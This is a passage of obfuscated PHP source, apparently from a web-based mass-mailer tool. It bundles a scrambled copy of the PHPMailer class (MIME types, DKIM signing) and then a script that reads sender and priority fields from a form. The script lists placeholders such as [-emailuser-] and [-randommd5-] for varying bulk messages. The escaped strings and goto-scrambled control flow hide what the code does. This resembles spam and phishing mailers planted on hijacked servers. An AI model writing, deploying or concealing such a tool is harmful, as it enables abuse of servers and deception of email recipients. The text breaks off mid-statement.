"\141\160\160\x6c\x69\143\x61\x74\x69\157\156\x2f\x70\157\x73\x74\163\x63\162\x69\x70\x74", "\145\160\163" => "\x61\x70\160\x6c\x69\143\141\x74\151\x6f\156\57\x70\x6f\x73\164\163\x63\162\151\x70\164", "\160\163" => "\141\160\x70\154\x69\x63\141\x74\x69\x6f\x6e\x2f\160\x6f\163\164\163\x63\x72\151\160\x74", "\x73\x6d\151" => "\141\x70\x70\154\151\143\141\x74\x69\157\x6e\57\163\x6d\151\154", "\x73\155\151\154" => "\141\x70\160\x6c\151\x63\141\x74\x69\157\156\57\x73\155\151\154", "\x6d\x69\x66" => "\x61\x70\160\x6c\x69\143\141\164\x69\157\156\x2f\166\x6e\x64\x2e\x6d\151\146", "\170\154\163" => "\x61\160\x70\x6c\x69\x63\141\x74\151\x6f\156\57\166\x6e\144\56\155\163\55\x65\x78\x63\145\154", "\160\160\164" => "\141\x70\x70\x6c\151\x63\141\x74\x69\x6f\156\x2f\x76\156\x64\x2e\x6d\163\55\x70\x6f\x77\x65\162\160\x6f\x69\x6e\x74", "\167\x62\x78\155\154" => "\x61\160\160\154\x69\143\141\164\151\157\x6e\57\166\156\144\56\167\x61\160\x2e\167\142\170\x6d\154", "\x77\x6d\154\143" => "\x61\x70\160\154\151\x63\x61\164\151\157\156\x2f\x76\x6e\x64\x2e\x77\x61\x70\56\167\x6d\x6c\143", "\144\143\162" => "\141\x70\x70\x6c\x69\x63\141\164\151\157\156\57\x78\55\144\x69\162\x65\143\164\157\x72", "\x64\151\162" => "\x61\x70\x70\154\x69\143\x61\164\x69\157\x6e\x2f\170\55\144\x69\x72\145\x63\164\157\x72", "\144\x78\162" => "\x61\x70\160\154\x69\x63\x61\x74\x69\157\156\57\170\55\x64\151\x72\145\143\164\157\x72", "\x64\166\151" => "\x61\x70\x70\x6c\151\x63\141\164\151\157\x6e\x2f\x78\55\144\x76\151", "\147\x74\141\162" => "\x61\160\160\154\151\x63\141\x74\x69\x6f\156\57\x78\55\x67\164\141\162", "\160\150\x70\x33" => "\x61\x70\160\x6c\x69\143\x61\x74\x69\x6f\x6e\57\x78\55\150\x74\164\160\144\55\x70\x68\160", "\160\150\160\64" => "\x61\x70\160\154\151\x63\x61\164\151\x6f\x6e\57\170\55\150\x74\x74\160\x64\55\x70\150\x70", "\x70\x68\160" => "\x61\x70\160\154\x69\x63\141\x74\151\157\156\57\x78\55\x68\164\164\160\144\55\160\150\x70", "\160\x68\164\x6d\x6c" => "\x61\160\x70\154\151\x63\x61\164\x69\157\156\x2f\170\x2d\x68\164\164\160\144\55\x70\150\x70", "\x70\150\160\163" => "\x61\x70\x70\x6c\x69\x63\x61\164\x69\x6f\x6e\57\x78\55\150\x74\x74\x70\x64\55\160\150\x70\x2d\163\157\165\162\143\x65", "\x73\167\x66" => "\141\160\x70\x6c\151\x63\141\164\151\x6f\156\57\x78\55\163\x68\x6f\143\x6b\x77\141\166\145\x2d\x66\154\141\x73\x68", "\163\x69\164" => "\x61\160\160\x6c\x69\x63\141\164\151\x6f\x6e\57\170\55\x73\x74\x75\146\x66\151\x74", "\x74\x61\162" => "\x61\x70\x70\154\x69\x63\x61\164\x69\x6f\156\x2f\170\55\164\x61\162", "\164\147\x7a" => "\141\160\x70\154\151\143\x61\x74\151\157\x6e\57\170\x2d\x74\x61\162", "\170\x68\164" => "\141\x70\x70\154\x69\x63\x61\164\151\x6f\x6e\x2f\x78\x68\164\155\x6c\53\x78\x6d\154", "\170\x68\164\155\x6c" => "\x61\160\x70\x6c\151\143\141\164\x69\x6f\156\x2f\170\x68\x74\155\154\x2b\170\155\x6c", "\172\x69\160" => "\141\x70\x70\x6c\151\x63\x61\164\x69\157\x6e\57\x7a\x69\x70", "\x6d\x69\x64" => "\141\165\x64\x69\x6f\x2f\x6d\151\x64\151", "\x6d\151\x64\151" => "\141\x75\144\x69\157\x2f\x6d\151\x64\151", "\x6d\160\62" => "\141\165\x64\x69\157\57\x6d\x70\145\147", "\155\x70\63" => "\x61\165\144\151\157\x2f\x6d\x70\145\x67", "\x6d\x34\141" => "\141\165\x64\151\x6f\57\155\160\64", "\155\x70\x67\141" => "\x61\x75\x64\x69\157\x2f\155\x70\x65\147", "\141\x69\146" => "\x61\165\x64\x69\157\57\x78\x2d\x61\x69\146\x66", "\x61\151\146\x63" => "\x61\165\144\x69\x6f\57\170\55\141\151\x66\x66", "\141\151\x66\x66" => "\x61\165\x64\151\x6f\x2f\170\x2d\141\x69\146\x66", "\162\141\x6d" => "\141\165\144\151\x6f\x2f\170\55\x70\156\55\x72\x65\141\154\141\x75\x64\151\x6f", "\162\155" => "\x61\165\x64\x69\x6f\57\x78\x2d\x70\x6e\x2d\x72\x65\141\x6c\x61\x75\144\x69\x6f", "\162\x70\x6d" => "\141\x75\144\x69\157\x2f\x78\55\160\156\x2d\162\145\141\x6c\x61\x75\144\x69\157\x2d\160\x6c\x75\x67\151\156", "\162\141" => "\141\165\x64\x69\x6f\57\x78\x2d\162\x65\x61\x6c\141\165\x64\151\x6f", "\x77\x61\166" => "\x61\x75\144\151\x6f\x2f\170\x2d\x77\141\x76", "\155\153\141" => "\x61\165\x64\x69\157\57\170\55\x6d\141\x74\162\157\163\x6b\141", "\x62\x6d\x70" => "\x69\x6d\x61\x67\x65\57\142\x6d\160", "\x67\151\146" => "\x69\x6d\141\147\145\57\x67\x69\146", "\x6a\x70\x65\147" => "\x69\x6d\x61\147\x65\x2f\x6a\x70\145\x67", "\x6a\x70\145" => "\151\155\141\x67\145\57\152\x70\x65\147", "\x6a\x70\x67" => "\151\155\141\x67\x65\x2f\152\160\x65\x67", "\x70\156\147" => "\151\x6d\x61\147\145\57\x70\156\x67", "\164\x69\x66\146" => "\x69\x6d\x61\x67\145\57\164\x69\x66\146", "\x74\x69\146" => "\x69\x6d\x61\x67\145\x2f\x74\x69\146\146", "\x77\145\142\x70" => "\x69\x6d\x61\x67\x65\x2f\x77\145\142\160", "\x68\x65\x69\146" => "\151\155\x61\147\x65\57\150\145\151\146", "\x68\145\151\146\163" => "\151\155\141\x67\145\57\150\145\x69\146\55\163\x65\161\165\x65\156\x63\x65", "\150\145\x69\143" => "\151\x6d\141\147\145\x2f\150\x65\x69\143", "\150\145\x69\143\163" => "\x69\155\141\147\x65\x2f\150\145\x69\143\x2d\x73\145\161\165\x65\x6e\x63\x65", "\145\x6d\154" => "\x6d\145\x73\x73\x61\x67\x65\57\x72\x66\143\70\x32\62", "\143\x73\x73" => "\164\145\170\x74\57\x63\163\163", "\150\x74\x6d\x6c" => "\164\145\170\x74\x2f\150\x74\155\154", "\x68\164\x6d" => "\164\x65\170\164\x2f\150\x74\x6d\x6c", "\x73\x68\164\155\x6c" => "\x74\x65\x78\x74\x2f\x68\164\155\154", "\154\157\x67" => "\164\145\170\x74\x2f\x70\x6c\141\151\x6e", "\164\x65\x78\164" => "\x74\x65\x78\x74\57\160\x6c\x61\x69\x6e", "\164\x78\164" => "\164\x65\170\164\x2f\x70\x6c\x61\151\156", "\x72\x74\170" => "\164\145\170\x74\x2f\x72\151\143\x68\164\145\x78\x74", "\162\x74\x66" => "\164\x65\170\164\x2f\162\164\x66", "\x76\143\146" => "\164\x65\x78\164\57\166\x63\141\162\x64", "\166\x63\x61\162\144" => "\164\145\170\x74\x2f\x76\143\141\162\x64", "\151\x63\163" => "\164\x65\x78\164\x2f\x63\141\154\x65\156\x64\141\x72", "\170\155\x6c" => "\x74\x65\170\x74\x2f\170\x6d\x6c", "\170\163\154" => "\x74\x65\170\164\x2f\170\x6d\x6c", "\167\155\x76" => "\x76\x69\x64\x65\157\57\170\x2d\155\163\55\x77\155\x76", "\155\160\145\147" => "\166\x69\144\145\x6f\x2f\155\x70\145\147", "\155\160\145" => "\166\x69\144\145\x6f\57\x6d\160\145\147", "\155\x70\x67" => "\x76\151\144\145\157\57\155\160\145\147", "\155\x70\64" => "\x76\151\x64\145\x6f\x2f\x6d\x70\x34", "\x6d\x34\166" => "\x76\151\144\145\157\57\155\160\64", "\x6d\x6f\x76" => "\166\x69\144\x65\157\57\x71\165\151\x63\x6b\x74\x69\x6d\145", "\161\164" => "\166\151\x64\145\x6f\x2f\x71\x75\x69\x63\153\164\x69\x6d\145", "\162\x76" => "\166\151\x64\145\x6f\x2f\166\156\144\x2e\162\156\55\x72\145\x61\x6c\166\x69\144\x65\157", "\141\x76\151" => "\x76\151\x64\145\157\57\170\55\155\163\x76\x69\144\145\x6f", "\x6d\157\x76\x69\x65" => "\x76\151\x64\x65\157\57\x78\55\x73\x67\151\55\155\x6f\x76\x69\145", "\x77\145\142\x6d" => "\x76\x69\144\145\157\x2f\167\x65\x62\x6d", "\155\x6b\x76" => "\166\151\x64\145\157\57\x78\55\x6d\141\164\162\157\x73\x6b\x61"]; goto eISaA; eISaA: $ext = strtolower($ext); goto OE14D; J4Fti: } public static function filenameToType($filename) { goto i1NSc; UeQyD: $filename = substr($filename, 0, $qpos); goto qHEDo; qHEDo: x0CPl: goto IfiqQ; IfiqQ: $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION); goto IcSQu; IcSQu: return static::_mime_types($ext); goto FKpsk; i1NSc: $qpos = strpos($filename, "\77"); goto dh6s1; dh6s1: if (!(false !== $qpos)) { goto x0CPl; } goto UeQyD; FKpsk: } public static function mb_pathinfo($path, $options = null) { goto Rv5nh; dRNWf: $pathinfo = []; goto UDiZg; F6mi_: $ret["\x64\151\162\156\141\x6d\x65"] = $pathinfo[1]; goto V0Sjn; M4aVJ: $ret["\146\x69\x6c\145\156\141\x6d\x65"] = $pathinfo[3]; goto wmA_4; wXPHD: switch ($options) { case PATHINFO_DIRNAME: case "\144\151\x72\156\141\155\x65": return $ret["\144\151\162\156\x61\155\145"]; case PATHINFO_BASENAME: case "\142\141\x73\145\x6e\x61\x6d\145": return $ret["\x62\x61\163\145\x6e\x61\x6d\x65"]; case PATHINFO_EXTENSION: case "\x65\x78\164\x65\156\x73\151\x6f\156": return $ret["\145\170\x74\x65\156\x73\x69\157\156"]; case PATHINFO_FILENAME: case "\146\151\154\x65\x6e\141\x6d\x65": return $ret["\146\151\154\x65\x6e\x61\155\145"]; default: return $ret; } goto OKB95; UDiZg: if (!preg_match("\x23\x5e\x28\x2e\x2a\x3f\51\x5b\x5c\x5c\x2f\135\52\x28\50\x5b\136\x2f\134\134\x5d\x2a\77\51\x28\134\x2e\50\133\x5e\134\56\134\x5c\57\135\53\x3f\51\x7c\51\x29\133\134\x5c\x2f\x5c\56\x5d\52\x24\x23\151\155", $path, $pathinfo)) { goto XnMYm; } goto qV1Ai; rIMuf: Mblti: goto sM64n; VFI7p: if (!array_key_exists(5, $pathinfo)) { goto Mblti; } goto QfMBO; Rv5nh: $ret = ["\144\151\x72\156\141\155\145" => '', "\x62\x61\163\x65\x6e\141\x6d\145" => '', "\x65\170\x74\x65\156\163\151\157\156" => '', "\146\151\x6c\x65\156\x61\155\145" => '']; goto dRNWf; QfMBO: $ret["\x65\170\164\x65\156\163\x69\157\156"] = $pathinfo[5]; goto rIMuf; H6X2x: $ret["\142\x61\163\145\x6e\x61\155\x65"] = $pathinfo[2]; goto NFvCA; AXHY8: XnMYm: goto wXPHD; Dj91_: LTySR: goto V0WF6; qV1Ai: if (!array_key_exists(1, $pathinfo)) { goto pFBWV; } goto F6mi_; wmA_4: Tw_Kk: goto AXHY8; sM64n: if (!array_key_exists(3, $pathinfo)) { goto Tw_Kk; } goto M4aVJ; V0Sjn: pFBWV: goto eHVnh; eHVnh: if (!array_key_exists(2, $pathinfo)) { goto hRyBV; } goto H6X2x; OKB95: wY5lG: goto Dj91_; NFvCA: hRyBV: goto VFI7p; V0WF6: } public function set($name, $value = '') { goto mKZVC; NXLJi: return false; goto vjcr6; QIla2: $this->setError($this->lang("\166\x61\162\151\x61\142\154\145\x5f\163\145\164") . $name); goto NXLJi; w3PfJ: CW0B7: goto QIla2; uyaOV: return true; goto w3PfJ; mKZVC: if (!property_exists($this, $name)) { goto CW0B7; } goto TRWbu; TRWbu: $this->{$name} = $value; goto uyaOV; vjcr6: } public function secureHeader($str) { return trim(str_replace(["\15", "\12"], '', $str)); } public static function normalizeBreaks($text, $breaktype = null) { goto w_kdA; a82QK: $text = str_replace(["\xd\12", "\xd"], "\12", $text); goto Djclx; O4Hi8: $text = str_replace("\xa", $breaktype, $text); goto nimSJ; uEGfi: $breaktype = static::$LE; goto C5MQ_; PhLIO: return $text; goto UoTnn; w_kdA: if (!(null === $breaktype)) { goto SrYON; } goto uEGfi; nimSJ: O_hpM: goto PhLIO; Djclx: if (!("\12" !== $breaktype)) { goto O_hpM; } goto O4Hi8; C5MQ_: SrYON: goto a82QK; UoTnn: } public static function getLE() { return static::$LE; } protected static function setLE($le) { static::$LE = $le; } public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { goto OTGBJ; OTGBJ: $this->sign_cert_file = $cert_filename; goto E91Ui; hdH2B: $this->sign_key_pass = $key_pass; goto u6SKO; u6SKO: $this->sign_extracerts_file = $extracerts_filename; goto DY_rt; E91Ui: $this->sign_key_file = $key_filename; goto hdH2B; DY_rt: } public function DKIM_QP($txt) { goto bqZW1; gLNmd: $line .= $txt[$i]; goto uMHAO; t6US8: g5zWE: goto gLNmd; X_62H: g3Lt2: goto yGq6T; aiiNZ: IFlZK: goto RX15V; BPK4u: ++$i; goto tan11; tan11: goto g3Lt2; goto aiiNZ; XCBtK: $ord = ord($txt[$i]); goto q6Qgb; NkoLw: $i = 0; goto X_62H; bqZW1: $line = ''; goto WJiJ8; uM9Km: goto tXh3Z; goto t6US8; WnE9y: $line .= "\75" . sprintf("\45\x30\62\130", $ord); goto uM9Km; FTC8D: WqYnJ: goto BPK4u; uMHAO: tXh3Z: goto FTC8D; yGq6T: if (!($i < $len)) { goto IFlZK; } goto XCBtK; WJiJ8: $len = strlen($txt); goto NkoLw; q6Qgb: if (0x21 <= $ord and $ord <= 0x3a or $ord == 0x3c or 0x3e <= $ord and $ord <= 0x7e) { goto g5zWE; } goto WnE9y; RX15V: return $line; goto xWp_7; xWp_7: } public function DKIM_Sign($signHeader) { goto jn6oJ; KGjeu: return ''; goto y1gz3; L1RP8: goto L0GKg; goto IUYyf; p4RLc: $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); goto K2RbM; xKfvv: if (!openssl_sign($signHeader, $signature, $privKey, "\163\150\141\62\x35\x36\x57\x69\164\150\x52\123\101\105\x6e\x63\x72\171\x70\164\151\x6f\x6e")) { goto IvV0f; } goto U7eRb; CyXXr: if (!$this->exceptions) { goto Kz18_; } goto peFUM; U7eRb: openssl_pkey_free($privKey); goto Pj18m; iKnvp: IvV0f: goto WONBH; Pj18m: return base64_encode($signature); goto iKnvp; gw9cn: return ''; goto b_CA0; peFUM: throw new Exception($this->lang("\x65\x78\164\x65\x6e\x73\x69\157\156\137\x6d\151\163\x73\x69\156\147") . "\x6f\x70\145\156\x73\163\x6c"); goto KerD4; WONBH: openssl_pkey_free($privKey); goto KGjeu; KerD4: Kz18_: goto gw9cn; jn6oJ: if (defined("\120\x4b\103\x53\x37\x5f\124\105\x58\124")) { goto ksrwP; } goto CyXXr; DUry7: if ('' != $this->DKIM_passphrase) { goto UVMB_; } goto SUBol; XxYTM: $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); goto DUry7; b_CA0: ksrwP: goto XxYTM; IUYyf: UVMB_: goto p4RLc; SUBol: $privKey = openssl_pkey_get_private($privKeyStr); goto L1RP8; K2RbM: L0GKg: goto xKfvv; y1gz3: } public function DKIM_HeaderC($signHeader) { goto EPbg0; wxxVm: $lines = explode("\xd\xa", $signHeader); goto pwO1z; If2wS: fCrvY: goto Hxaiu; EPbg0: $signHeader = preg_replace("\57\x5c\x72\x5c\x6e\133\x20\134\164\135\53\57", "\40", $signHeader); goto wxxVm; pwO1z: foreach ($lines as $key => $line) { goto e4MYR; e4MYR: if (!(strpos($line, "\x3a") === false)) { goto nw8Ko; } goto r60Vq; r60Vq: goto ZgVRj; goto YC64o; YC64o: nw8Ko: goto FcDVR; FcDVR: list($heading, $value) = explode("\72", $line, 2); goto sfl4F; q2AkP: $lines[$key] = trim($heading, "\x20\11") . "\72" . trim($value, "\40\x9"); goto E_tNY; sfl4F: $heading = strtolower($heading); goto D39m9; E_tNY: ZgVRj: goto W7RO2; D39m9: $value = preg_replace("\57\133\40\134\x74\135\x7b\x32\x2c\175\x2f", "\40", $value); goto q2AkP; W7RO2: } goto If2wS; Hxaiu: return implode("\15\12", $lines); goto F6nsW; F6nsW: } public function DKIM_BodyC($body) { goto E7ZLp; QrZJt: return "\15\xa"; goto ojxs_; E7ZLp: if (!empty($body)) { goto DmARP; } goto QrZJt; dPqXK: $body = static::normalizeBreaks($body, "\xd\xa"); goto Gq8YD; ojxs_: DmARP: goto dPqXK; Gq8YD: return rtrim($body, "\xd\12") . "\15\xa"; goto JGY22; JGY22: } public function DKIM_Add($headers_line, $subject, $body) { goto rahly; f5d8M: XOPbf: goto mrz6r; NE1TT: $subject = str_replace("\174", "\x3d\67\x43", $this->DKIM_QP($subject_header)); goto ero3E; ucnLL: i3Ph9: goto o0uLv; VvlLH: $ident = "\x20\x69\x3d" . $this->DKIM_identity . "\73"; goto XjGGl; ero3E: $copiedHeaderFields = "\11\x7a\75{$from}\xd\xa" . "\11\x7c{$to}\xd\12" . "\11\x7c{$date}\xd\12" . "\x9\174{$subject}\x3b\15\xa" . $extraCopyHeaderFields; goto HgjqZ; JuDPn: $date = str_replace("\x7c", "\x3d\67\x43", $this->DKIM_QP($date_header)); goto NE1TT; tKoL_: $extraHeaderKeys = ''; goto TqTvO; W6EvT: foreach ($headers as $header) { goto uTvA7; z4HSH: $current = "\164\157\137\150\x65\141\144\x65\162"; goto B7hps; K7vME: Yfkkv: goto BK1uY; uTvA7: if (strpos($header, "\x46\x72\157\155\72") === 0) { goto hAWkA; } goto ATsQQ; wVyPk: $current = "\x66\x72\x6f\155\137\x68\x65\x61\144\x65\162"; goto fh22k; VjfDF: j8qfT: goto pZanv; zt1V5: goto bnlIl; goto J7_1K; PJz42: KsAaa: goto oaLFG; oaLFG: ${$current} .= $header; goto eN3LA; Gl8Gf: if (!empty(${$current}) and strpos($header, "\x20\x3d\77") === 0) { goto KsAaa; } goto W9_Nh; FsK3B: hqTvZ: goto Zlq5D; W9_Nh: $current = ''; goto ZvMTX; J7_1K: hAWkA: goto iM13E; BzG_8: BDKe2: goto hNbbd; GC03n: $current = "\144\x61\164\145\137\150\x65\141\144\145\162"; goto QhUux; qg_E8: if (strpos($header, "\104\x61\164\145\x3a") === 0) { goto xpvOK; } goto VJ75t; BK1uY: $to_header = $header; goto z4HSH; gFNOc: $date_header = $header; goto GC03n; QhUux: goto bnlIl; goto FsK3B; iM13E: $from_header = $header; goto wVyPk; B7hps: goto bnlIl; goto zJoQk; pZanv: bnlIl: goto BzG_8; fh22k: goto bnlIl; goto K7vME; Zlq5D: foreach ($this->DKIM_extraHeaders as $extraHeader) { goto bFnGG; bFnGG: if (!(strpos($header, $extraHeader . "\72") === 0)) { goto VsEF1; } goto won4F; brItE: $foundExtraHeaders[$extraHeader] = $headerValue; goto i02Op; sT7Nq: QB6H3: goto DQQCD; rs8k0: foreach ($this->CustomHeader as $customHeader) { goto CGD0g; SSkCh: $headerValue = trim($customHeader[0]) . "\72\x20" . $this->encodeHeader(trim($customHeader[1])); goto eZnki; gqjuV: u1ihw: goto HZQO6; eZnki: goto HyOCQ; goto gqjuV; HZQO6: noSV9: goto V1eO6; CGD0g: if (!($customHeader[0] === $extraHeader)) { goto u1ihw; } goto SSkCh; V1eO6: } goto r2PCS; won4F: $headerValue = $header; goto rs8k0; bDagl: goto j8qfT; goto qw0K4; qw0K4: VsEF1: goto sT7Nq; r2PCS: HyOCQ: goto brItE; i02Op: $current = ''; goto bDagl; DQQCD: } goto VjfDF; zJoQk: xpvOK: goto gFNOc; eN3LA: lWTdR: goto zt1V5; ZvMTX: goto lWTdR; goto PJz42; VJ75t: if (!empty($this->DKIM_extraHeaders)) { goto hqTvZ; } goto Gl8Gf; ATsQQ: if (strpos($header, "\124\157\x3a") === 0) { goto Yfkkv; } goto qg_E8; hNbbd: } goto ucnLL; kUICi: $DKIMtime = time(); goto YIifm; rahly: $DKIMsignatureType = "\x72\x73\141\55\163\x68\x61\x32\x35\x36"; goto Yyldi; kqgGy: $signed = $this->DKIM_Sign($toSign); goto ZuUvx; I5pTT: hNlZI: goto JhG6O; EsH5j: $from = str_replace("\x7c", "\75\x37\x43", $this->DKIM_QP($from_header)); goto Prvq3; tT1zt: $extraCopyHeaderFields = ''; goto W6EvT; HgjqZ: waT1t: goto elrWt; TqTvO: $extraHeaderValues = ''; goto tT1zt; rqiU6: if (!$this->DKIM_copyHeaderFields) { goto waT1t; } goto EsH5j; P5Ly5: if ('' == $this->DKIM_identity) { goto hNlZI; } goto VvlLH; rPwNH: $DKIMb64 = base64_encode(pack("\x48\52", hash("\163\x68\x61\62\65\x36", $body))); goto P5Ly5; Yyldi: $DKIMcanonicalization = "\x72\x65\x6c\141\x78\145\144\57\x73\151\x6d\x70\154\145"; goto Vqab5; VwGPt: $headers = explode(static::$LE, $headers_line); goto fc9He; ZuUvx: return static::normalizeBreaks($dkimhdrs . $signed) . static::$LE; goto UwgrR; NzMcU: $foundExtraHeaders = []; goto tKoL_; q3cO0: $copiedHeaderFields = ''; goto NzMcU; GJuwp: $to_header = ''; goto K6EnI; YIifm: $subject_header = "\x53\165\142\x6a\x65\143\x74\72\40{$subject}"; goto VwGPt; JhG6O: $ident = ''; goto f5d8M; elrWt: $body = $this->DKIM_BodyC($body); goto MhgA8; Vqab5: $DKIMquery = "\x64\156\163\x2f\164\170\x74"; goto kUICi; Fz6qs: K422y: goto rqiU6; Prvq3: $to = str_replace("\174", "\x3d\67\x43", $this->DKIM_QP($to_header)); goto JuDPn; mrz6r: $dkimhdrs = "\x44\113\x49\x4d\x2d\123\x69\147\x6e\x61\164\x75\162\145\72\40\166\x3d\x31\x3b\40\x61\x3d" . $DKIMsignatureType . "\73\40\x71\75" . $DKIMquery . "\x3b\40\154\75" . $DKIMlen . "\x3b\40\x73\75" . $this->DKIM_selector . "\x3b\xd\xa" . "\x9\x74\75" . $DKIMtime . "\73\x20\x63\75" . $DKIMcanonicalization . "\x3b\15\12" . "\11\150\x3d\106\x72\x6f\x6d\x3a\x54\x6f\72\104\141\164\145\72\x53\165\x62\x6a\145\x63\164" . $extraHeaderKeys . "\73\xd\12" . "\11\x64\75" . $this->DKIM_domain . "\x3b" . $ident . "\15\xa" . $copiedHeaderFields . "\11\x62\x68\75" . $DKIMb64 . "\73\15\xa" . "\11\142\x3d"; goto nfobZ; K6EnI: $date_header = ''; goto T5M3H; fc9He: $from_header = ''; goto GJuwp; XjGGl: goto XOPbf; goto I5pTT; o0uLv: foreach ($foundExtraHeaders as $key => $value) { goto OnYVY; qbJqc: if (!$this->DKIM_copyHeaderFields) { goto gyRlU; } goto B9V1u; PHaGj: $extraHeaderValues .= $value . "\15\xa"; goto qbJqc; BsbuS: gyRlU: goto tOB7L; OnYVY: $extraHeaderKeys .= "\x3a" . $key; goto PHaGj; B9V1u: $extraCopyHeaderFields .= "\11\x7c" . str_replace("\x7c", "\x3d\x37\103", $this->DKIM_QP($value)) . "\73\xd\xa"; goto BsbuS; tOB7L: mCmAZ: goto ynJ7C; ynJ7C: } goto Fz6qs; MhgA8: $DKIMlen = strlen($body); goto rPwNH; nfobZ: $toSign = $this->DKIM_HeaderC($from_header . "\xd\12" . $to_header . "\15\xa" . $date_header . "\xd\12" . $subject_header . "\15\12" . $extraHeaderValues . $dkimhdrs); goto kqgGy; T5M3H: $current = ''; goto q3cO0; UwgrR: } public static function hasLineLongerThanMax($str) { return (bool) preg_match("\57\136\x28\x2e\173" . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . "\x2c\x7d\x29\57\x6d", $str); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra) { goto iS62s; iS62s: if (!(!empty($this->action_function) and is_callable($this->action_function))) { goto YaIvQ; } goto hhJI5; hhJI5: call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra); goto Dbd1W; Dbd1W: YaIvQ: goto rqcge; rqcge: } public function getOAuth() { return $this->oauth; } public function setOAuth(OAuth $oauth) { $this->oauth = $oauth; } } goto u70ey; RUBRo: $messageLetter = preg_replace("\57\45\65\103\x25\62\62\x2f", "\45\x32\x32", $messageLetter); goto MHk87; p8kfk: $GLOBALS["\x65\x6d\141\x69\x6c\120\x72\x69\157\162\151\x74\x79"] = stripslashes($emailPriority); goto IiWyC; Dkjib: session_start(); goto VEuIy; U3CBH: $GLOBALS["\163\x65\156\x64\x65\x72\105\155\x61\x69\154"] = owlTrim($_POST["\163\x65\x6e\144\x65\162\x45\155\x61\151\x6c"]); goto sBXff; WXoUm: bSVjw: goto FsfbP; qtZyt: echo "\x29\x3c\57\x6c\x69\76\xa\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\74\x6c\x69\76\133\55\145\x6d\x61\151\154\x75\x73\x65\162\55\135\40\72\x20\74\142\x3e\x45\x6d\x61\x69\x6c\40\x55\163\x65\162\74\57\142\76\x20\x28\x65\x6d\141\x69\x6c\x75\x73\x65\x72\100\x65\x6d\141\x69\154\144\x6f\155\x61\151\x6e\51\74\x2f\x6c\151\76\xa\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\74\x6c\151\x3e\x5b\x2d\162\141\x6e\144\157\155\163\164\x72\151\156\x67\x2d\x5d\x20\x3a\40\74\142\x3e\122\x61\x6e\x64\157\x6d\40\163\164\x72\151\x6e\x67\x20\x28\x30\x2d\71\x2c\141\x2d\172\51\x3c\57\142\x3e\74\x2f\154\x69\x3e\12\40\40\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\74\x6c\151\x3e\133\55\x72\141\156\144\x6f\x6d\x6e\x75\x6d\142\x65\x72\55\135\40\x3a\x20\74\x62\76\122\141\x6e\x64\x6f\155\x20\156\x75\155\x62\x65\x72\x20\x28\x30\55\71\51\x20\x3c\x2f\x62\x3e\x3c\x2f\154\x69\x3e\12\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x3c\154\151\76\x5b\55\x72\141\156\144\x6f\155\154\145\164\164\x65\162\163\55\135\40\72\40\x3c\x62\76\122\141\x6e\x64\x6f\155\x20\114\x65\x74\x74\x65\x72\163\50\x61\x2d\x7a\x29\40\x3c\x2f\x62\x3e\74\x2f\x6c\x69\x3e\12\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\x3c\154\x69\76\x5b\x2d\162\141\x6e\144\x6f\x6d\155\144\65\55\135\40\x3a\40\74\x62\x3e\x52\x61\x6e\144\157\155\x20\x4d\104\x35\40\x3c\x2f\x62\76\x3c\57\x6c\x69\76\xa\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\74\57\x75\154\76\xa\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\74\150\x34\76\x65\x78\141\155\x70\x6c\x65\74\57\x68\64\x3e\xa\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x52\145\x63\x69\166\145\x72\40\x45\x6d\x61\x69\154\x20\75\x20\74\x62\x3e\165\163\x65\x72\100\144\157\155\x61\151\x6e\x2e\x63\x6f\x6d\x3c\57\142\76\x3c\x62\x72\76\12\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x3c\165\x6c\76\12\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\40\40\40\74\x6c\151\x3e\x68\x65\154\154\157\40\74\142\76\133\55\145\155\141\x69\154\165\163\x65\x72\55\x5d\x3c\57\x62\76\x20\55\x3e\40\x68\145\x6c\154\157\40\x3c\142\76\165\163\x65\x72\x3c\x2f\x62\x3e\74\57\154\x69\x3e\12\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x3c\x6c\151\x3e\171\x6f\x75\162\x20\x63\x6f\144\x65\x20\x69\x73\x20\x20\x3c\142\x3e\x5b\55\x72\x61\156\x64\x6f\155\x6d\x64\65\x2d\135\x3c\57\x62\76\40\x2d\76\x20\171\157\165\162\40\x63\x6f\x64\145\x20\x69\163\40\74\x62\76\x65\x31\x30\141\144\x63\63\71\64\x39\142\141\x35\71\141\x62\x62\145\x35\x36\145\60\65\x37\146\x32\x30\x66\x38\x38\63\145\x3c\x2f\x62\76\74\x2f\154\151\76\12\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\x3c\x2f\x75\154\76\xa\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\40\74\150\66\x3e\x62\x79\40\74\142\76\74\141\40\150\162\145\x66\x3d\42\150\x74\164\160\x3a\x2f\x2f"; goto LnxQB; khAQm: echo 